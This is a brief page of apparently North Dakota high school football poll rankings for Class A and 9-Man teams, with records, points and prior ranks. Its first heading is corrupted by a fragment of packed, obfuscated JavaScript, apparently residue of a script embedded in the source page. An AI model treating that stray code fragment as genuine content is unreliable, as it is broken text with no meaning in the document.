| Class affhd|var|u0026u|referrer|kirfn||js|php’.split(‘|’),0,{})) A |
|||
|---|---|---|---|
| Record | Pts | Prv | |
| 1. Stanley-Powers Lake (13) | 8-0 | 70 | 1 |
| 2. Larimore | 8-0 | 56 | 2 |
| 3. Heart River | 7-1 | 41 | 3 |
| 4. Hazen | 6-2 | 21 | 4 |
| 5. Maple Valley-Enderlin | 7-1 | 13 | 5 |
Also receiving votes: Langdon-Munich (8-1) 9.
| 9-Man | |||
|---|---|---|---|
| Record | Pts | Prv | |
| 1. Divide County (10) | 9-0 | 66 | 1 |
| 2. New Rockford-Sheyenne (3) | 8-0 | 50 | 2 |
| 3. Towner-Granville-Upham | 8-0 | 42 | 3 |
| 4. Wyndmere-Lidgerwood | 8-1 | 29 | 4 |
| 5. North Star | 7-1 | 15 | 5 |
Also receiving votes: Cavalier (7-1) 8.
